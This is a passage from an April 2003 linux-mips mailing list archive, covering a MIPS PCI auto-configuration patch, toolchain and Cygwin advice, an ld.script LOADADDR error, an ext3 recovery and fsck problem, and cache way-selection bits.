1) if there are no devices behind P2P bridge, the xxx_base and xxx_limit
will be set to the same address, which willd decode 4Kb for MEM space
or 16 bytes for IO space at at that address.  This address will overlap
with the next pci device resources assigned right after the P2P bridge.

Simply adding 1 byte would leave proper cushion.

2) Sometimes P2P bridge controller may need resources.  (Don't ask me why)
We were ignoring this before.

Jun

--4ZLFUWh1odzi/v6L
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="030409.pciauto-setup-bridge-properly.patch"

diff -Nru link/arch/mips/kernel/pci_auto.c.orig link/arch/mips/kernel/pci_auto.c
--- link/arch/mips/kernel/pci_auto.c.orig	Wed Apr  9 16:17:02 2003
+++ link/arch/mips/kernel/pci_auto.c	Wed Apr  9 16:28:09 2003
@@ -260,6 +260,14 @@
 {
 	u32 temp;
 
+	/* 
+	 * [jsun] we always bump up baselines a little, so that if there
+	 * nothing behind P2P bridge, we don't wind up overlapping IO/MEM
+	 * spaces.
+	 */
+	pciauto_lower_memspc += 1;
+	pciauto_lower_iospc += 1;
+
 	/* Configure bus number registers */
 	early_write_config_byte(hose, top_bus, current_bus, pci_devfn,
 				PCI_SUBORDINATE_BUS, sub_bus);
@@ -419,6 +427,8 @@
 		if ((pci_class >> 16) == PCI_CLASS_BRIDGE_PCI) {
 			DBG("        Bridge: primary=%.2x, secondary=%.2x\n",
 				current_bus, sub_bus + 1);
+			pciauto_setup_bars(hose, top_bus, current_bus, 
+					pci_devfn, PCI_BASE_ADDRESS_1);
 			pciauto_prescan_setup_bridge(hose, top_bus, current_bus,
 						     pci_devfn, sub_bus);
 			DBG("Scanning sub bus %.2x, I/O 0x%.8x, Mem 0x%.8x\n",

--4ZLFUWh1odzi/v6L--

From ralf@linux-mips.net Thu Apr 10 02:25:40 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 02:25:41 +0100 (BST)
Received: from p508B52B7.dip.t-dialin.net ([IPv6:::ffff:80.139.82.183]:2705
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225205AbTDJBZk>; Thu, 10 Apr 2003 02:25:40 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3A1PUn03299;
	Thu, 10 Apr 2003 03:25:30 +0200
Date: Thu, 10 Apr 2003 03:25:29 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Michael Anburaj <michaelanburaj@hotmail.com>
Cc: linux-mips@linux-mips.org
Subject: Re: Linux for MIPS Atlas 4Kc board
Message-ID: <20030410032529.A1493@linux-mips.org>
References: <BAY1-F817dKwKkLxFjj00070900@hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <BAY1-F817dKwKkLxFjj00070900@hotmail.com>; from michaelanburaj@hotmail.com on Wed, Apr 09, 2003 at 02:32:03PM -0700
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1964
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Wed, Apr 09, 2003 at 02:32:03PM -0700, Michael Anburaj wrote:

> I am new to Linux. But I have a strong ARM & MIPS background with kernel 
> porting & other stuff.
> 
> I want to get a higher-level view of the essential components of Linux for 
> MIPS & documentation about the kernel. Please point me to documents on the 
> net.

I suggest http://www.linux-mips.org to get started.

> Question 2:
> Does Linux-MIPS support the MIPS Atlas board with 4Kc processor using 
> mipsisa32-elf build tool chain (Contain the appropriate HAL or BSP)? Is so, 
> please point me to documents that gives the exact build steps for the same.

No.  You must use a Linux configuration of the tools, that's mips-linux.

> Also do let me know if Cygwin over Win98 dev. environment is good for 
> building & developing with Linux-MIPS or do I need to have Linux installed 
> on my dev. machine?

I've never use Cygwin myself.  The reports I've received are a mixed bag
ranging from extremly bad to very good.

  Ralf

From madhavis@sasken.com Thu Apr 10 06:42:16 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 06:42:17 +0100 (BST)
Received: from ftp-xb.sasken.com ([IPv6:::ffff:164.164.56.3]:63208 "EHLO
	sandesha.sasken.com") by linux-mips.org with ESMTP
	id <S8225205AbTDJFmQ>; Thu, 10 Apr 2003 06:42:16 +0100
Received: from sunsv2.sasken.com (localhost [127.0.0.1])
	by sandesha.sasken.com (8.12.8/8.12.8) with ESMTP id h3A5fwWY029539
	for <linux-mips@linux-mips.org>; Thu, 10 Apr 2003 11:12:00 +0530 (IST)
Received: from pcz-madhavis.sasken.com (IDENT:madhavis@pcz-madhavis.sasken.com [10.1.64.210])
	by sunsv2.sasken.com (8.11.6/8.11.6) with ESMTP id h3A5g6w16430
	for <linux-mips@linux-mips.org>; Thu, 10 Apr 2003 11:12:06 +0530 (IST)
Date: Thu, 10 Apr 2003 11:12:06 +0530 (IST)
From: Madhavi <madhavis@sasken.com>
To: <linux-mips@linux-mips.org>
Subject: Kernel compilation for MIPS
Message-ID: <Pine.LNX.4.33.0304101106270.2692-100000@pcz-madhavis.sasken.com>
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="=_IS_MIME_Boundary"
Return-Path: <madhavis@sasken.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1965
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: madhavis@sasken.com
Precedence: bulk
X-list: linux-mips

--=_IS_MIME_Boundary
Content-Type: TEXT/PLAIN; charset=US-ASCII


Hi

During my kernel compilation for MIPS (R5432) using the MIPS
cross-compiler, I am getting the following error.

mipsel-linux-ld:arch/mips/ld.script:6: parse error

The line 6 in ld.script is:
	. = ;

I have seen in the arch/mips/Makefile that sed is replacing @@LOADADDR@@
by $LOADADDR in ld.script.in. Hence the line, . = @@LOADADDR@@; is getting
converted to . = ;.

Do I need to assign the LOADADDR somewhere.

Thank you in advance.

regards
Madhavi.

Madhavi Suram
Software Engineer
Customer Delivery / Networks
Sasken Communication Technologies Limited
139/25, Ring Road, Domlur
Bangalore - 560071 India
Email: madhavis@sasken.com
Tel: + 91 80 5355501 Extn: 8062
Fax: + 91 80 5351133
URL: www.sasken.com


--=_IS_MIME_Boundary
Content-Type: text/plain;charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

************************************************************************

SASKEN BUSINESS DISCLAIMER

This message may contain confidential, proprietary or legally Privileged information. In case you are not the original intended Recipient of the message, you must not, directly or indirectly, use, Disclose, distribute, print, or copy any part of this message and you are requested to delete it and inform the sender. Any views expressed in this message are those of the individual sender unless otherwise stated. Nothing contained in this message shall be construed as an offer or acceptance of any offer by Sasken Communication Technologies Limited ("Sasken") unless sent with that express intent and with due authority of Sasken. Sasken accepts no liability for any loss or damage, which may be caused by viruses.

***********************************************************************

--=_IS_MIME_Boundary--

From jbglaw@dvmwest.gt.owl.de Thu Apr 10 07:29:36 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 07:29:37 +0100 (BST)
Received: from dvmwest.gt.owl.de ([IPv6:::ffff:62.52.24.140]:14348 "EHLO
	dvmwest.gt.owl.de") by linux-mips.org with ESMTP
	id <S8225205AbTDJG3g>; Thu, 10 Apr 2003 07:29:36 +0100
Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id C11824AB8F; Thu, 10 Apr 2003 08:29:34 +0200 (CEST)
Date: Thu, 10 Apr 2003 08:29:34 +0200
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
To: linux-mips@linux-mips.org
Subject: Re: Linux for MIPS Atlas 4Kc board
Message-ID: <20030410062934.GC5242@lug-owl.de>
Mail-Followup-To: linux-mips@linux-mips.org
References: <BAY1-F817dKwKkLxFjj00070900@hotmail.com> <20030410032529.A1493@linux-mips.org>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="KN5l+BnMqAQyZLvT"
Content-Disposition: inline
In-Reply-To: <20030410032529.A1493@linux-mips.org>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Return-Path: <jbglaw@dvmwest.gt.owl.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1966
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jbglaw@lug-owl.de
Precedence: bulk
X-list: linux-mips


--KN5l+BnMqAQyZLvT
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-04-10 03:25:29 +0200, Ralf Baechle <ralf@linux-mips.org>
wrote in message <20030410032529.A1493@linux-mips.org>:
> On Wed, Apr 09, 2003 at 02:32:03PM -0700, Michael Anburaj wrote:

> > Also do let me know if Cygwin over Win98 dev. environment is good for=
=20
> > building & developing with Linux-MIPS or do I need to have Linux instal=
led=20
> > on my dev. machine?
>=20
> I've never use Cygwin myself.  The reports I've received are a mixed bag
> ranging from extremly bad to very good.

I'd recommened to use a linux box. Cygwin is quite a nice piece of
software, but it introduces some, well, subilte things at some times:)
Spending time looking for these things isn't worth anything.

(use tar to extract some read-only files for cosmic user IDs and then
try to remove/edit/... these files from cmd.exe with edit or so... I
love ACLs...)

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--KN5l+BnMqAQyZLvT
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD4DBQE+lQ9OHb1edYOZ4bsRAnfiAJi4KdsGw4aEkl5vTf4ZiCiACnNgAJ0fHmW+
ErKL2U6q6D405hBuOn1CNg==
=yRyt
-----END PGP SIGNATURE-----

--KN5l+BnMqAQyZLvT--

From hartvig@ekner.info Thu Apr 10 10:16:31 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 10:16:32 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:39442 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225293AbTDJJQb>;
	Thu, 10 Apr 2003 10:16:31 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP id 182E3B4D0
	for <linux-mips@linux-mips.org>; Thu, 10 Apr 2003 11:15:05 +0200 (CEST)
Message-ID: <3E954651.C7AECB90@ekner.info>
Date: Thu, 10 Apr 2003 12:24:17 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: ext3 under MIPS?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1967
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

Hi,

I have been using ext3 with MIPS, and it seems to work fine during normal operations. However, when
doing an unclean shutdown things don't exactly behave the way I believe they should. Does anybody
know how the ext3 recovery is supposed to work?

Basically I just reset the system mid-stream to see what happens. This means the rc.sysinit "control
file "/.autofsck" is on the filesystem to indicate an unclean shutdown. During the next boot I get:

... stuff deleted

ttyS02 at 0xb1300000 (irq = 2) is a 16550
ttyS03 at 0xb1400000 (irq = 3) is a 16550
EXT3-fs: INFO: recovery required on readonly filesystem.
EXT3-fs: write access will be enabled during recovery.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 64k freed
Algorithmics/MIPS FPU Emulator v1.5
INIT: version 2.84 booting

So, it seems the kernel ext3 filesystem code runs some kind of recovery based on the
journal prior to the actual mount of / occurring, which is exactly what I would expect
to happen, right?

Then bootup continues with:


               Welcome to Red Hat Linux
                Press 'I' to enter interactive startup.
Mounting proc filesystem:  [  OK  ]
Configuring kernel parameters:  [  OK  ]
Cannot access the Hardware Clock via any known method.
Use the --debug option to see the details of our search for an access method.
Setting clock  (localtime): Thu Jan  1 01:00:13 CET 1970 [  OK  ]
Activating swap partitions:  [  OK  ]
Setting hostname copau01:  [  OK  ]
modprobe: Can't open dependencies file /lib/modules/2.4.21-pre4/modules.dep (No
such file or directory)
modprobe: Can't open dependencies file /lib/modules/2.4.21-pre4/modules.dep (No
such file or directory)
Your system appears to have shut down uncleanly
Press Y within 3 seconds to force file system integrity check...y
Checking root filesystem
/dev/hdc2: Inodes that were part of a corrupted orphan linked list found.

/dev/hdc2: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
        (i.e., without -a or -p options)
[/sbin/fsck.ext3 (1) -- /] fsck.ext3 -a -f /dev/hdc2

[FAILED]

*** An error occurred during the file system check.
*** Dropping you to a shell; the system will reboot
*** when you leave the shell.
Give root password for maintenance
(or type Control-D for normal startup):


So can somebody tell me what the heck just happened? After the ext3 recovery done before the mount,
.autofsck is still on the disk, so the rc.sysinit script of course assumes the shutdown was unclean,
and pops the 5-second question. However, if I to be safe push "Y" here to get my filesystem check (which
I guess should be unnecessary, due to the ext3 recovery just run, right?), strange things happen and
fsck reports the "corrupted orphan list... " error.

Is there something wrong here, or how should the system behave?

/Hartvig



From jbglaw@dvmwest.gt.owl.de Thu Apr 10 16:40:54 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 16:40:55 +0100 (BST)
Received: from dvmwest.gt.owl.de ([IPv6:::ffff:62.52.24.140]:6660 "EHLO
	dvmwest.gt.owl.de") by linux-mips.org with ESMTP
	id <S8225205AbTDJPky>; Thu, 10 Apr 2003 16:40:54 +0100
Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id B451F4AB8D; Thu, 10 Apr 2003 17:40:50 +0200 (CEST)
Date: Thu, 10 Apr 2003 17:40:50 +0200
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: ext3 under MIPS?
Message-ID: <20030410154050.GI5242@lug-owl.de>
Mail-Followup-To: Linux MIPS mailing list <linux-mips@linux-mips.org>
References: <3E954651.C7AECB90@ekner.info>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="IR1Y5IvQhrKgS4e6"
Content-Disposition: inline
In-Reply-To: <3E954651.C7AECB90@ekner.info>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Return-Path: <jbglaw@dvmwest.gt.owl.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1968
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jbglaw@lug-owl.de
Precedence: bulk
X-list: linux-mips


--IR1Y5IvQhrKgS4e6
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-04-10 12:24:17 +0200, Hartvig Ekner <hartvig@ekner.info>
wrote in message <3E954651.C7AECB90@ekner.info>:
> Hi,
>=20
> I have been using ext3 with MIPS, and it seems to work fine during normal=
 operations. However, when
> doing an unclean shutdown things don't exactly behave the way I believe t=
hey should. Does anybody
> know how the ext3 recovery is supposed to work?
>=20
> Basically I just reset the system mid-stream to see what happens. This me=
ans the rc.sysinit "control
> file "/.autofsck" is on the filesystem to indicate an unclean shutdown. D=
uring the next boot I get:
>=20
> ... stuff deleted
>=20
> ttyS02 at 0xb1300000 (irq =3D 2) is a 16550
> ttyS03 at 0xb1400000 (irq =3D 3) is a 16550
> EXT3-fs: INFO: recovery required on readonly filesystem.
> EXT3-fs: write access will be enabled during recovery.
> kjournald starting.  Commit interval 5 seconds
> EXT3-fs: recovery complete.
> EXT3-fs: mounted filesystem with ordered data mode.

It recovers the journal. That's fine (and works as expected).

> VFS: Mounted root (ext3 filesystem) readonly.
> Freeing unused kernel memory: 64k freed
> Algorithmics/MIPS FPU Emulator v1.5
> INIT: version 2.84 booting
>=20
> So, it seems the kernel ext3 filesystem code runs some kind of recovery b=
ased on the
> journal prior to the actual mount of / occurring, which is exactly what I=
 would expect
> to happen, right?

Jupp.

> Then bootup continues with:
>=20
>=20
>                Welcome to Red Hat Linux
>                 Press 'I' to enter interactive startup.
> Mounting proc filesystem:  [  OK  ]
> Configuring kernel parameters:  [  OK  ]
> Cannot access the Hardware Clock via any known method.
> Use the --debug option to see the details of our search for an access met=
hod.
> Setting clock  (localtime): Thu Jan  1 01:00:13 CET 1970 [  OK  ]
> Activating swap partitions:  [  OK  ]
> Setting hostname copau01:  [  OK  ]
> modprobe: Can't open dependencies file /lib/modules/2.4.21-pre4/modules.d=
ep (No
> such file or directory)
> modprobe: Can't open dependencies file /lib/modules/2.4.21-pre4/modules.d=
ep (No
> such file or directory)
> Your system appears to have shut down uncleanly
> Press Y within 3 seconds to force file system integrity check...y
> Checking root filesystem
> /dev/hdc2: Inodes that were part of a corrupted orphan linked list found.
>=20
> /dev/hdc2: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
>         (i.e., without -a or -p options)
> [/sbin/fsck.ext3 (1) -- /] fsck.ext3 -a -f /dev/hdc2
>=20
> [FAILED]
>=20
> *** An error occurred during the file system check.
> *** Dropping you to a shell; the system will reboot
> *** when you leave the shell.
> Give root password for maintenance
> (or type Control-D for normal startup):
>=20
> So can somebody tell me what the heck just happened? After the ext3 recov=
ery done before the mount,
> .autofsck is still on the disk, so the rc.sysinit script of course assume=
s the shutdown was unclean,

This ".autofsck" file seems to be a userland approach to detect a system
which wasn't shutted down completely. Even this is fine. What's *not*
okay is that there are still errors remaining. It seems your filesystem
has been damaged before (and in no means which could have been handled
by the journal).

> and pops the 5-second question. However, if I to be safe push "Y" here to=
 get my filesystem check (which
> I guess should be unnecessary, due to the ext3 recovery just run, right?)=
, strange things happen and
> fsck reports the "corrupted orphan list... " error.

Wrong. The journal should prevent you from actually loosing things at
hard-power-off situations. It does *not* cover things like silent data
corruption, which may have lead to this breakage.

> Is there something wrong here, or how should the system behave?

Everything with journal recovery is fine here. The failing fsck is a
different problem (a journal doesn't preven you to do a fsck at a
regular basis. It's only to not be forced to to it if you don't have the
time to do this *now* (on crash)).

So there seems do be some corruption (caused by whatever) going on at
your system:-(

Watch out if this happens again soon after you've completed the fsck.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--IR1Y5IvQhrKgS4e6
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+lZCCHb1edYOZ4bsRAu/aAJsGMil0tUh5/9VCrTYBwIIsDNoekACgiYdv
DawzfpgDI3jrqqs4khGJREs=
=5hK5
-----END PGP SIGNATURE-----

--IR1Y5IvQhrKgS4e6--

From karsten@excalibur.cologne.de Thu Apr 10 18:14:34 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 18:14:35 +0100 (BST)
Received: from natsmtp01.webmailer.de ([IPv6:::ffff:192.67.198.81]:60828 "EHLO
	post.webmailer.de") by linux-mips.org with ESMTP
	id <S8225205AbTDJROe>; Thu, 10 Apr 2003 18:14:34 +0100
Received: from excalibur.cologne.de (p508519C0.dip.t-dialin.net [80.133.25.192])
	by post.webmailer.de (8.12.8/8.8.7) with ESMTP id h3AHEW6f010039
	for <linux-mips@linux-mips.org>; Thu, 10 Apr 2003 19:14:32 +0200 (MEST)
Received: from karsten by excalibur.cologne.de with local (Exim 3.35 #1 (Debian))
	id 193fiY-0000F0-00
	for <linux-mips@linux-mips.org>; Thu, 10 Apr 2003 19:20:06 +0200
Date: Thu, 10 Apr 2003 19:20:06 +0200
From: Karsten Merker <karsten@excalibur.cologne.de>
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: ext3 under MIPS?
Message-ID: <20030410172006.GC828@excalibur.cologne.de>
Mail-Followup-To: Karsten Merker <karsten@excalibur.cologne.de>,
	Linux MIPS mailing list <linux-mips@linux-mips.org>
References: <3E954651.C7AECB90@ekner.info>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3E954651.C7AECB90@ekner.info>
User-Agent: Mutt/1.3.28i
X-No-Archive: yes
Return-Path: <karsten@excalibur.cologne.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1969
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: karsten@excalibur.cologne.de
Precedence: bulk
X-list: linux-mips

On Thu, Apr 10, 2003 at 12:24:17PM +0200, Hartvig Ekner wrote:

> I have been using ext3 with MIPS, and it seems to work fine during normal operations. However, when
> doing an unclean shutdown things don't exactly behave the way I believe they should. Does anybody
> know how the ext3 recovery is supposed to work?

Hm, at least ext3 has worked properly on a DECstation. I had a hard crash
and the journal recovery seemed to have worked. I got no fsck-errors.

HTH,
Karsten
-- 
#include <standard_disclaimer>
Nach Paragraph 28 Abs. 3 Bundesdatenschutzgesetz widerspreche ich der Nutzung
oder Uebermittlung meiner Daten fuer Werbezwecke oder fuer die Markt- oder
Meinungsforschung.

From jsun@mvista.com Thu Apr 10 19:05:30 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 19:05:31 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:23535 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225205AbTDJSFa>;
	Thu, 10 Apr 2003 19:05:30 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h3AI5RA09536;
	Thu, 10 Apr 2003 11:05:27 -0700
Date: Thu, 10 Apr 2003 11:05:27 -0700
From: Jun Sun <jsun@mvista.com>
To: linux-mips@linux-mips.org
Cc: jsun@mvista.com
Subject: way selection bit for multi-way cache 
Message-ID: <20030410110527.E9002@mvista.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1970
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips


If a cache is multi-way set associative cache, one must
select the way for indexed cache operations.

The most common way selection is to use MSBs in the addressing
range of the whole cache size.  In other word, a two-way
cache of size d would use bit (log(d)-1) to select the way.

Some other CPUs often the LSB(s) in the address to select
ways.  Examples include R5432, R5500, TX49, TX39.  Does
anybody know other such CPUs?

And I think I have seen a third kind way selection, but I
can't remember which CPU it is.  Does anybody know any
other way selection schemes?

Thanks.

Jun

From uhler@mips.com Thu Apr 10 19:51:12 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 19:51:21 +0100 (BST)
Received: from ftp.mips.com ([IPv6:::ffff:206.31.31.227]:50619 "EHLO
	mx2.mips.com") by linux-mips.org with ESMTP id <S8225205AbTDJSvM>;
	Thu, 10 Apr 2003 19:51:12 +0100
Received: from newman.mips.com (ns-dmz [206.31.31.225])
	by mx2.mips.com (8.12.5/8.12.5) with ESMTP id h3AIosUe015186;
	Thu, 10 Apr 2003 11:50:54 -0700 (PDT)
Received: from uhler-linux.mips.com (uhler-linux [192.168.11.222])
	by newman.mips.com (8.9.3/8.9.0) with ESMTP id LAA27842;
	Thu, 10 Apr 2003 11:50:53 -0700 (PDT)
Received: from uhler-linux.mips.com (uhler@localhost)
	by uhler-linux.mips.com (8.11.2/8.9.3) with ESMTP id h3AIorK11089;
	Thu, 10 Apr 2003 11:50:53 -0700
Message-Id: <200304101850.h3AIorK11089@uhler-linux.mips.com>
X-Authentication-Warning: uhler-linux.mips.com: uhler owned process doing -bs
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: Jun Sun <jsun@mvista.com>
cc: linux-mips@linux-mips.org
Reply-To: uhler@mips.com
Subject: Re: way selection bit for multi-way cache 
In-reply-to: Your message of "Thu, 10 Apr 2003 11:05:27 PDT."
             <20030410110527.E9002@mvista.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 10 Apr 2003 11:50:53 -0700
From: "Mike Uhler" <uhler@mips.com>
Return-Path: <uhler@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1971
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: uhler@mips.com
Precedence: bulk
X-list: linux-mips

> 
> If a cache is multi-way set associative cache, one must
> select the way for indexed cache operations.
> 
> The most common way selection is to use MSBs in the addressing
> range of the whole cache size.  In other word, a two-way
> cache of size d would use bit (log(d)-1) to select the way.
> 
> Some other CPUs often the LSB(s) in the address to select
> ways.  Examples include R5432, R5500, TX49, TX39.  Does
> anybody know other such CPUs?
> 
> And I think I have seen a third kind way selection, but I
> can't remember which CPU it is.  Does anybody know any
> other way selection schemes?
> 
> Thanks.
> 
> Jun
> 

I can't comment on anything but MIPS32 and MIPS64 CPUs, but the
MIPS32 and MIPS64 standard is to use the bits above the index field
to specify the way.  See the figure entitled "Usage of Address Fields
to Select Index and Way" in the CACHE instruction description of the
MIPS32 and MIPS64 Architecture for Programmer's manuals.

/gmu

-- 

  =*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
  Michael Uhler, VP, Systems, Architecture, and Software Products 
  MIPS Technologies, Inc.   Email: uhler@mips.com   Pager: uhler_p@mips.com
  1225 Charleston Road      Voice:  (650)567-5025   FAX:   (650)567-5225
  Mountain View, CA 94043   Mobile: (650)868-6870   Admin: (650)567-5085



From jsun@mvista.com Thu Apr 10 19:55:54 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 19:55:55 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:12017 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225205AbTDJSzy>;
	Thu, 10 Apr 2003 19:55:54 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h3AItqk09820;
	Thu, 10 Apr 2003 11:55:52 -0700
Date: Thu, 10 Apr 2003 11:55:52 -0700
From: Jun Sun <jsun@mvista.com>
To: Mike Uhler <uhler@mips.com>
Cc: linux-mips@linux-mips.org, jsun@mvista.com
Subject: Re: way selection bit for multi-way cache
Message-ID: <20030410115552.F9002@mvista.com>
References: <20030410110527.E9002@mvista.com> <200304101850.h3AIorK11089@uhler-linux.mips.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200304101850.h3AIorK11089@uhler-linux.mips.com>; from uhler@mips.com on Thu, Apr 10, 2003 at 11:50:53AM -0700
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
